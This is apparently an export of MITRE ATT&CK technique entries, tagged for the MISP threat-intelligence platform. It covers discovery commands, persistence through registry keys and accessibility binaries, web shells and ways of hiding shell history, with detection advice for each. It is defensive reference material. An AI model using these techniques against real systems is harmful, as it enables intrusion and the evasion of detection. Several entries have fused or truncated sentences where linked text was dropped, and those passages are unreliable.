Data Sources: Network protocol analysis, Process monitoring, Process use of network, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Remote System Discovery"*

Table 1812. Table References

Links
https://attack.mitre.org/wiki/Technique/T1018

Permission Groups Discovery

Adversaries may attempt to find local system or domain-level groups and permissions settings.

===Windows===

Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.

===Mac===

On Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.

===Linux===

On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: API monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Permission Groups Discovery"*

Table 1813. Table References

Links
https://attack.mitre.org/wiki/Technique/T1069

File Deletion

Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.[[Citation: Trend Micro APT Attack Tools]]

Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: File monitoring, Process command-line parameters, Binary file metadata

Contributors: Walker Johnson

The tag is: *misp-galaxy:mitre-attack-pattern="File Deletion"*

Table 1814. Table References

Links
https://attack.mitre.org/wiki/Technique/T1107
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/

Path Interception

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function.DLL Search Order Hijacking.

Detection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through , and [[Lateral Movement]].

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Process monitoring

Effective Permissions: User, Administrator, SYSTEM

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception"*

Table 1815. Table References

Links
https://attack.mitre.org/wiki/Technique/T1034
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120

https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
http://support.microsoft.com/KB/103000
https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
http://msdn.microsoft.com/en-us/library/ms682425
http://msdn.microsoft.com/en-us/library/ms687393

LC_LOAD_DYLIB Addition

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies[[Citation: Writing Bad Malware for OSX]]. There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time[[Citation: Malware Persistence on OS X]].

Detection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.

Platforms: MacOS, OS X

Data Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition"*

Table 1816. Table References

Links
https://attack.mitre.org/wiki/Technique/T1161
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf

Bootkit

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).[[Citation: MTrends 2016]]

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

===Master Boot Record=== The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.[[Citation: Lau 2011]]

===Volume Boot Record=== The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

Detection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10

Data Sources: API monitoring, MBR, VBR

The tag is: *misp-galaxy:mitre-attack-pattern="Bootkit"*

Table 1817. Table References

Links
https://attack.mitre.org/wiki/Technique/T1067
https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion

Indicator Removal on Host

Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.

Detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal on Host"*

Table 1818. Table References

Links

https://attack.mitre.org/wiki/Technique/T1070

Re-opened Applications

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine[[Citation: Methods of Mac Malware Persistence]].

Detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.

Platforms: MacOS, OS X

The tag is: *misp-galaxy:mitre-attack-pattern="Re-opened Applications"*

Table 1819. Table References

Links
https://attack.mitre.org/wiki/Technique/T1164
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Exfiltration Over Other Network Medium

Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

Detection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: User interface, Process monitoring

Contributors: Itzik Kotler, SafeBreach

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium"*

Table 1820. Table References

Links
https://attack.mitre.org/wiki/Technique/T1011

Data from Local System

Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.

Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Local System"*

Table 1821. Table References

Links
https://attack.mitre.org/wiki/Technique/T1005

Web Shell

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client).Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

Detection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload:cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network.[[Citation: US-CERT Alert TA15-314A Web Shells]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow, Anti-virus

Effective Permissions: User, SYSTEM

The tag is: *misp-galaxy:mitre-attack-pattern="Web Shell"*

Table 1822. Table References

Links
https://attack.mitre.org/wiki/Technique/T1100
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.us-cert.gov/ncas/alerts/TA15-314A

Service Registry Permissions Weakness

Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, Services, Process command-line parameters

Effective Permissions: SYSTEM

The tag is: *misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness"*

Table 1823. Table References

Links
https://attack.mitre.org/wiki/Technique/T1058
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx

Windows Admin Shares

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.

Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB)Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials.Net, on the command-line interface and techniques that could be used to find remotely accessible systems.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Process use of network, Authentication logs, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Admin Shares"*

Table 1824. Table References

Links
https://attack.mitre.org/wiki/Technique/T1077
http://support.microsoft.com/kb/314984
https://technet.microsoft.com/en-us/library/cc787851.aspx
https://en.wikipedia.org/wiki/Server%20Message%20Block
http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx
https://technet.microsoft.com/bb490717.aspx
http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx

Winlogon Helper DLL

Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.

Detection: Monitor for changes to registry entries in <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify</code> that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values.[[Citation: TechNet Autoruns]] New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.

Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through , and [[Lateral Movement]].

Platforms: Windows Server 2003, Windows XP, Windows Server 2003 R2

Data Sources: Windows Registry, File monitoring, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL"*

Table 1825. Table References

Links
https://attack.mitre.org/wiki/Technique/T1004
https://technet.microsoft.com/en-us/sysinternals/bb963902

Network Share Discovery

Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

===Windows===

File sharing over a Windows network occurs over the SMB protocol.Net can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Windows Management Instrumentation and PowerShell.

Platforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2012, Windows Server 2008 R2, Windows Server 2012 R2, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, MacOS, OS X

Data Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network

The tag is: *misp-galaxy:mitre-attack-pattern="Network Share Discovery"*

Table 1826. Table References

Links
https://attack.mitre.org/wiki/Technique/T1135
https://en.wikipedia.org/wiki/Shared%20resource
https://technet.microsoft.com/library/cc770880.aspx

Remote Services

An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

Detection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through techniques prior to attempting [[Lateral Movement]].

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Authentication logs

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Services"*

Table 1827. Table References

Links
https://attack.mitre.org/wiki/Technique/T1021

Accessibility Features

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]

Other accessibility features exist that may also be leveraged in a similar fashion:[[Citation: DEFCON2016 Sticky Keys]]

*On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code> *Magnifier: <code>C:\Windows\System32\Magnify.exe</code> *Narrator:

<code>C:\Windows\System32\Narrator.exe</code> *Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code> *App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options</code>.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Windows Registry, File monitoring, Process monitoring

Effective Permissions: SYSTEM

Contributors: Paul Speulstra, AECOM Global Security Operations Center

The tag is: *misp-galaxy:mitre-attack-pattern="Accessibility Features"*

Table 1828. Table References

Links
https://attack.mitre.org/wiki/Technique/T1015
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html

Taint Shared Content

Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary’s code on a remote system. Adversaries may use tainted shared content to move laterally.

Detection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to [[Command and Control]] and possible network techniques.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Taint Shared Content"*

Table 1829. Table References

Links
https://attack.mitre.org/wiki/Technique/T1080

External Remote Services

Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.

Adversaries may use remote services to access and persist within a network.Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.

Detection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: Authentication logs

Contributors: Daniel Oakley

The tag is: *misp-galaxy:mitre-attack-pattern="External Remote Services"*

Table 1830. Table References

Links
https://attack.mitre.org/wiki/Technique/T1133
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Application Deployment Software

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

Detection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Process use of network, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Application Deployment Software"*

Table 1831. Table References

Links
https://attack.mitre.org/wiki/Technique/T1017

Automated Collection

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.

Detection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: File monitoring, Data loss prevention, Process command-line parameters

The tag is: *misp-galaxy:mitre-attack-pattern="Automated Collection"*

Table 1832. Table References

Links
https://attack.mitre.org/wiki/Technique/T1119

Security Support Provider

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. [[Citation: Graeber 2014]]

Detection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: DLL monitoring, Windows Registry, Loaded DLLs

The tag is: *misp-galaxy:mitre-attack-pattern="Security Support Provider"*

Table 1833. Table References

Links
https://attack.mitre.org/wiki/Technique/T1101
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://technet.microsoft.com/en-us/library/dn408187.aspx

HISTCONTROL

The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that " ls" will not be saved, but "ls" would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

Detection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.

Platforms: Linux, MacOS, OS X

Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable

The tag is: *misp-galaxy:mitre-attack-pattern="HISTCONTROL"*

Table 1834. Table References

Links
https://attack.mitre.org/wiki/Technique/T1148

Rundll32

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata

The tag is: *misp-galaxy:mitre-attack-pattern="Rundll32"*

Table 1835. Table References

Links
https://attack.mitre.org/wiki/Technique/T1085

Network Sniffing

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.

User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, Address Resolution Protocol (ARP) and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X

Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow

The tag is: *misp-galaxy:mitre-attack-pattern="Network Sniffing"*

Table 1836. Table References

Links
https://attack.mitre.org/wiki/Technique/T1040

Local Port Monitor

A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.[[Citation: AddMonitor]] This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot.[[Citation: Bloxham]] Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.[[Citation: Bloxham]] The spoolsv.exe process also runs under SYSTEM level permissions.

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

Detection: * Monitor process API calls to AddMonitor. * Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. * New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. * Monitor registry writes to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. * Run the Autoruns utility, which checks for this Registry key as a persistence mechanism[[Citation: TechNet Autoruns]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring

Effective Permissions: SYSTEM

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-attack-pattern="Local Port Monitor"*

Table 1837. Table References

Links
https://attack.mitre.org/wiki/Technique/T1013
https://technet.microsoft.com/en-us/sysinternals/bb963902
http://msdn.microsoft.com/en-us/library/dd183341
https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf

Source

The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

Detection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.

Platforms: Linux, MacOS, OS X

